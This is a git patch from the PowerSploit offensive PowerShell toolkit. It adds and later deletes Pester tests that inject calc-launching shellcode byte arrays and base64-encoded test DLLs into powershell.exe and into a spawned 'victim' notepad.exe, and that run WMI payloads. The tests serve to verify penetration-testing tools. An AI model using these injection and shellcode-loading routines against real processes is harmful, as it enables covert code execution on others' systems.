AAAA1P///wAAAAD+////LxNAAEMTQAAAAAAA/v///wAAAADY////AAAAAP7////JFEAA3BRAAAAAAAD+////AAAAAMz///8AAAAA/v///wAAAACmFkAACCIAAAAAAAAAAAAAHiMAAAAgAABEIgAAAAAAAAAAAAAiJAAAPCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtCIAAMIiAADeIgAA6iIAAPwiAAAQIwAAbCUAAFwlAABCJQAALCUAABYlAAD8JAAA7CQAAIAlAAAAAAAAmiMAAK4jAAC8IwAAyCMAANQjAADeIwAAhCMAAP4jAAAwJAAAOCQAAEIkAABQJAAAXiQAAGgkAAB6JAAAiiQAAKQkAAC6JAAA1CQAAHojAAByIwAAaiMAAFgjAABIIwAAOiMAACwjAADqIwAAAAAAAIgAQ3JlYXRlRmlsZUEAHAFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBACUFV3JpdGVGaWxlAEUCR2V0UHJvY0FkZHJlc3MAABUCR2V0TW9kdWxlSGFuZGxlQQAAUgBDbG9zZUhhbmRsZQBLRVJORUwzMi5kbGwAAGsBX1hjcHRGaWx0ZXIAFwJfYW1zZ19leGl0AAC2AV9fZ2V0bWFpbmFyZ3MA8gFfX3NldF9hcHBfdHlwZQAATgZleGl0AACDAl9leGl0AC8CX2NleGl0AABAAl9jb25maWd0aHJlYWRsb2NhbGUA9AFfX3NldHVzZXJtYXRoZXJyAAANA19pbml0dGVybV9lAAwDX2luaXR0ZXJtALcBX19pbml0ZW52AKICX2Ztb2RlAAA/Al9jb21tb2RlAAA1AT90ZXJtaW5hdGVAQFlBWFhaAKkBX19jcnRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAE1TVkNSMTIwLmRsbAAAlANfbG9jawAEBV91bmxvY2sALgJfY2FsbG9jX2NydACuAV9fZGxsb25leGl0ADoEX29uZXhpdAAUA19pbnZva2Vfd2F0c29uAABDAl9jb250cm9sZnBfcwAAegJfZXhjZXB0X2hhbmRsZXI0X2NvbW1vbgBQAl9jcnRfZGVidWdnZXJfaG9vawAArAFfX2NydFVuaGFuZGxlZEV4Y2VwdGlvbgCrAV9fY3J0VGVybWluYXRlUHJvY2VzcwDqAEVuY29kZVBvaW50ZXIApwNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDBAUdldEN1cnJlbnRQcm9jZXNzSWQAxQFHZXRDdXJyZW50VGhyZWFkSWQAAHkCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAygBEZWNvZGVQb2ludGVyAAADSXNEZWJ1Z2dlclByZXNlbnQABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA/v////////9O5kC7sRm/RAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAABEAQAACjATMB0wIjAnMDAwNzBXMGQwmzCoMLMw7zD/MB4xKjEwMUIxTDFVMV8xZTFuMXQxeTF+MYMxizGQMaIxqjGwMbwxxzHQMdox4THnMewx8TH2MfsxATIJMh0yNzJXMmkycTJ2MnsynTKjMqoyrzK8Mssy0zLbMu8y9TL6MgIzCDMOMxszITMrM0ozUDNaM2AzaTNuM8sz2jPgM0Y0SzRdNHs0jzSVNEA1WzVnNXY1fzWMNbs1wzXPNeA16zXwNfU1DDYbNiE2NDZJNlQ2ajaENo42yjbPNuo27zYwNzY3QTdeN6k3rje+N8Q3yjfQN9Y33DfiN+g3+DcBOAg4GzhTOFk4XzhlOGs4cTh4OH84hjiNOJQ4mziiOKo4sji6OMY4zzjUONo45DjuOP44DjkeOSc5Njk8OUI5SDkAAAAgAAAgAAAAsDC8MMAwxDDQMNQwVDGEMYgxpDGoMcgxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + + $WideStrDllBytes32 = [Convert]::FromBase64String($Encoded32BitWStringDll) + $StrDllBytes32 = [Convert]::FromBase64String($Encoded32BitStringDll) + $VoidDllBytes32 = [Convert]::FromBase64String($Encoded32BitVoidDll) + $WideStrDllBytes64 = [Convert]::FromBase64String($Encoded64BitWStringDll) + $StrDllBytes64 = [Convert]::FromBase64String($Encoded64BitStringDll) + $VoidDllBytes64 = [Convert]::FromBase64String($Encoded64BitVoidDll) + $ExeBytes32 = [Convert]::FromBase64String($Encoded32BitExe) + $ExeBytes64 = [Convert]::FromBase64String($Encoded64BitExe) + + if ([IntPtr]::Size -eq 4) { + $PowerShell32bit = $True + $WideStrDllBytes = $WideStrDllBytes32 + $StrDllBytes = $StrDllBytes32 + $VoidDllBytes = $VoidDllBytes32 + $ExeBytes = $ExeBytes32 + } else { + $PowerShell32bit = $False + $WideStrDllBytes = $WideStrDllBytes64 + $StrDllBytes = $StrDllBytes64 + $VoidDllBytes = $VoidDllBytes64 + $ExeBytes = $ExeBytes64 + } + + Context 'DLL loading' { + It 'should load a DLL (wchar_t*) in memory within powershell.exe and returns "Hello, world!"' { + $Result = Invoke-ReflectivePEInjection -PEBytes $WideStrDllBytes -FuncReturnType WString -DoNotZeroMZ + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should load a DLL (char*) in memory within powershell.exe and returns "Hello, world!"' { + $Result = Invoke-ReflectivePEInjection -PEBytes $StrDllBytes -FuncReturnType String -DoNotZeroMZ + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should load a DLL (void) in memory within powershell.exe and writes "Hello, world!" to %TEMP%\testoutput.txt' { + $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt' + if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath } + + Invoke-ReflectivePEInjection -PEBytes $VoidDllBytes -FuncReturnType Void -DoNotZeroMZ + + Start-Sleep -Seconds 2 + $TestOutputPath | Should Exist + $Result = Get-Content $TestOutputPath + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should load a DLL (void) in memory within notepad.exe and write "Hello, world!" to %TEMP%\testoutput.txt' { + $64BitOS = $False + if ($Env:ProgramW6432) { $64BitOS = $True } + + # When launching notepad.exe, the bitness of the process needs to match that of powershell.exe + if ($PowerShell32bit -and $64BitOS) { + # 32-bit PowerShell on a 64-bit OS needs to launch Wow64 notepad + $NotepadPath = "$($Env:SystemRoot)\SysWow64\notepad.exe" + } else { + $NotepadPath = "$($Env:SystemRoot)\System32\notepad.exe" + } + + $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath + + if ($NotepadProc.ReturnValue -ne 0) { + throw 'Could not start victim process: notepad.exe' + } + + $VictimPID = $NotepadProc.ProcessId + + $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt' + if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath } + + Invoke-ReflectivePEInjection -PEBytes $VoidDllBytes -ProcId $VictimPID -DoNotZeroMZ + + $Result = Get-Content $TestOutputPath + + Start-Sleep -Seconds 2 + + Stop-Process -Id $VictimPID + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should not load a DLL in memory within powershell.exe when the bitness of powershell.exe and the DLL do not match.' { + if ($PowerShell32bit) { + $PEBytes = $WideStrDllBytes64 + } else { + $PEBytes = $WideStrDllBytes32 + } + + # Attempt to load the wide string DLL in memory with a mismatched bitness + { Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -DoNotZeroMZ } | Should Throw + } + + It 'should not load a DLL in memory within powershell.exe when the return types do not match.' { + # This DLL exports WStringFunc which means that -FunReturnType should be WString + { $Result = Invoke-ReflectivePEInjection -PEBytes $WideStrDllBytes -FuncReturnType String -DoNotZeroMZ } | Should Throw + } + } + + Context 'EXE Loading' { + $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt' + + BeforeEach { + if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath } + } + + It 'should load an EXE in memory within powershell.exe and write "Hello, world!" to %TEMP%\testoutput.txt when provided no arguments' { + Invoke-ReflectivePEInjection -PEBytes $ExeBytes -DoNotZeroMZ + } + + It 'should load an EXE in memory within powershell.exe and write "Hello, world!" to %TEMP%\testoutput.txt when provided arguments' { + Invoke-ReflectivePEInjection -PEBytes $ExeBytes -ExeArgs 'foo bar' -DoNotZeroMZ + } + + AfterEach { + Start-Sleep -Seconds 2 + $TestOutputPath | Should Exist + $Result = Get-Content $TestOutputPath + + $Result | Should Not BeNullOrEmpty + $Result.StartsWith('Hello, world!') | Should Be $True + } + } +} \ No newline at end of file From a78b40429e745a9f32a0d4a50836d5db07a62873 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Mon, 9 Nov 2015 10:52:41 -0800 Subject: [PATCH 040/296] Revert "Excluding the Tests folder from being loaded as a module" This reverts commit a0ab599810f8f05a9bf24850fb9104516b71abb7. --- PowerSploit.psm1 | 2 +- PowerSploit.pssproj | 1 + Tests/CodeExecution.tests.ps1 | 362 ---------------------------------- 3 files changed, 2 insertions(+), 363 deletions(-) delete mode 100644 Tests/CodeExecution.tests.ps1 diff --git a/PowerSploit.psm1 b/PowerSploit.psm1 index 9bc02403..550b8be9 100644 --- a/PowerSploit.psm1 +++ b/PowerSploit.psm1 @@ -1 +1 @@ -Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer -and ($_.Name -ne 'Tests') } | % { Import-Module $_.FullName -DisableNameChecking } +Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer } | % { Import-Module $_.FullName -DisableNameChecking } diff --git a/PowerSploit.pssproj b/PowerSploit.pssproj index ea5854c7..bd96099d 100644 --- a/PowerSploit.pssproj +++ b/PowerSploit.pssproj @@ -78,6 +78,7 @@ + diff --git a/Tests/CodeExecution.tests.ps1 b/Tests/CodeExecution.tests.ps1 deleted file mode 100644 index b8e415e6..00000000 --- a/Tests/CodeExecution.tests.ps1 +++ /dev/null @@ -1,362 +0,0 @@ -Set-StrictMode -Version Latest - -$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent -$ModuleRoot = Resolve-Path "$TestScriptRoot\.." -$ModuleManifest = "$ModuleRoot\CodeExecution\CodeExecution.psd1" - -Remove-Module [C]odeExecution -Import-Module $ModuleManifest -Force -ErrorAction Stop - -Describe 'Invoke-Shellcode' { - # 32-bit calc popping shellcode - [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, - 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, - 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, - 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, - 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, - 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, - 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, - 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, - 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, - 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, - 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, - 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, - 0x61,0x6c,0x63,0x00) - - # 64-bit calc popping shellcode - [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, - 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, - 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, - 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, - 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, - 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, - 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, - 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, - 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, - 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, - 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, - 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, - 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, - 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, - 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, - 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) - - $PowerShell32bit = $False - $Shellcode = $Shellcode64 - - if ([IntPtr]::Size -eq 4) { - $PowerShell32bit = $True - $Shellcode = $Shellcode32 - } - - $64BitOS = $False - if ($Env:ProgramW6432) { $64BitOS = $True } - - # When launching notepad.exe, the bitness of the process needs to match that of powershell.exe - if ($PowerShell32bit -and $64BitOS) { - # 32-bit PowerShell on a 64-bit OS needs to launch Wow64 notepad - $NotepadPath = "$($Env:SystemRoot)\SysWow64\notepad.exe" - } else { - $NotepadPath = "$($Env:SystemRoot)\System32\notepad.exe" - } - - BeforeEach { - # Kill all running instances of calc.exe or Calculator.exe (i.e. "modern" calc) - Get-Process | Where-Object { $_.ProcessName -match '^[Cc]alc(ulator)?$' } | Stop-Process -Force - } - - It 'should pop calc without arguments' { - Invoke-Shellcode -Force - - Start-Sleep -Seconds 2 - } - - It 'should pop calc in host process with -Shellcode arg' { - Invoke-Shellcode -Shellcode $Shellcode -Force - - Start-Sleep -Seconds 2 - } - - It 'should pop calc in victim notepad.exe process without -Shellcode arg' { - $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath - - if ($NotepadProc.ReturnValue -ne 0) { - throw 'Could not start victim process: notepad.exe' - } - - $VictimPID = $NotepadProc.ProcessId - - Invoke-Shellcode -ProcessId $VictimPID -Force - - Start-Sleep -Seconds 2 - - Stop-Process -Id $VictimPID - } - - It 'should pop calc in victim notepad.exe process with -Shellcode arg' { - $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath - - if ($NotepadProc.ReturnValue -ne 0) { - throw 'Could not start victim process: notepad.exe' - } - - $VictimPID = $NotepadProc.ProcessId - - Invoke-Shellcode -ProcessId $VictimPID -Shellcode $Shellcode -Force - - Start-Sleep -Seconds 2 - - Stop-Process -Id $VictimPID - } - - AfterEach { - # Validate that a calc process was launched by the shellcode - - $CalcProcs = Get-Process | Where-Object { $_.ProcessName -match '^[Cc]alc(ulator)?$' } - $CalcCount = $CalcProcs | Measure-Object - - if ($CalcCount.Count -gt 0) { - $CalcProcs | Stop-Process -Force - } - - $CalcCount.Count | Should BeGreaterThan 0 - } -} - -Describe 'Invoke-DllInjection' { - $Accessibilitycpl = 'accessibilitycpl.dll' - $AccessibilitycplPath = "$($Env:SystemRoot)\System32\$Accessibilitycpl" - - It 'should inject a known system DLL' { - if (-not (Test-Path $AccessibilitycplPath)) { - throw "$AccessibilitycplPath does not exist on disk." - } - - $LoadedModule = Invoke-DllInjection -ProcessID $PID -Dll $AccessibilitycplPath - $LoadedModule | Should Not BeNullOrEmpty - - $LoadedModule -is [System.Diagnostics.ProcessModule] | Should Be $True - $LoadedModule.ModuleName | Should Be $Accessibilitycpl - } - - It 'should not inject a non-existent DLL' { - $NonExistentDllPath = 'C:\foo.dll' - - Test-Path $NonExistentDllPath | Should Be $False - - { Invoke-DllInjection -ProcessID $PID -Dll $NonExistentDllPath } | Should Throw - } - - It 'should not inject to a non-existent process' { - { Invoke-DllInjection -ProcessID 0 -Dll $AccessibilitycplPath } | Should Throw - } -} - -Describe 'Invoke-WmiCommand' { - $RegistryHive = 'HKEY_CURRENT_USER' - $KeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG' - $RegistryKeyPath = "HKCU:\$KeyPath" - $RegistryPayloadValueName = 'Seed' - $RegistryResultValueName = 'Value' - $ComputerName = 'localhost' - $SamplePayload = { 1+1 } - $SamplePayloadResult = & $SamplePayload - $SamplePayloadResultType = $SamplePayloadResult.GetType() - - Context 'Successful code execution' { - BeforeEach { - # Ensure registry keys and values are cleaned up prior to execution - Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryPayloadValueName -ErrorAction SilentlyContinue - Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryResultValueName -ErrorAction SilentlyContinue - Remove-Item -Path $RegistryKeyPath -ErrorAction SilentlyContinue - } - - AfterEach { - { Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryPayloadValueName -ErrorAction Stop } | Should Throw - { Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryResultValueName -ErrorAction Stop } | Should Throw - { Remove-Item -Path $RegistryKeyPath -ErrorAction Stop } | Should Throw - } - - It 'should execute a sample payload locally and clean up properly' { - $Result = Invoke-WmiCommand -Payload $SamplePayload - - $Result | Should Not BeNullOrEmpty - $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True - $Result.PayloadOutput | Should Be $SamplePayloadResult - $Result.PSComputerName | Should Be $ComputerName - } - - It 'should execute a sample payload "remotely" (localhost) and clean up properly' { - $Result = Invoke-WmiCommand -Payload $SamplePayload -ComputerName $ComputerName - - $Result | Should Not BeNullOrEmpty - $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True - $Result.PayloadOutput | Should Be $SamplePayloadResult - $Result.PSComputerName | Should Be $ComputerName - } - - It 'should execute a sample payload with explicit arguments locally and clean up properly' { - $Result = Invoke-WmiCommand -Payload $SamplePayload -RegistryHive $RegistryHive -RegistryKeyPath $KeyPath -RegistryPayloadValueName $RegistryPayloadValueName -RegistryResultValueName $RegistryResultValueName - - $Result | Should Not BeNullOrEmpty - $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True - $Result.PayloadOutput | Should Be $SamplePayloadResult - $Result.PSComputerName | Should Be $ComputerName - } - } - - Context 'Invalid arguments' { - It 'should not process invalid registry hives' { - { Invoke-WmiCommand -Payload $SamplePayload -RegistryHive 'HKEY_FOO' -RegistryKeyPath $KeyPath -RegistryPayloadValueName $RegistryPayloadValueName -RegistryResultValueName $RegistryResultValueName } | Should Throw - } - } -} - -Describe 'Invoke-ReflectivePEInjection' { - # A bare bones test harness DLL that simply returns L"Hello, world!" upon having WStringFunc called - # See https://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ - $Encoded64BitWStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAACCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' - $Encoded32BitWStringDll = 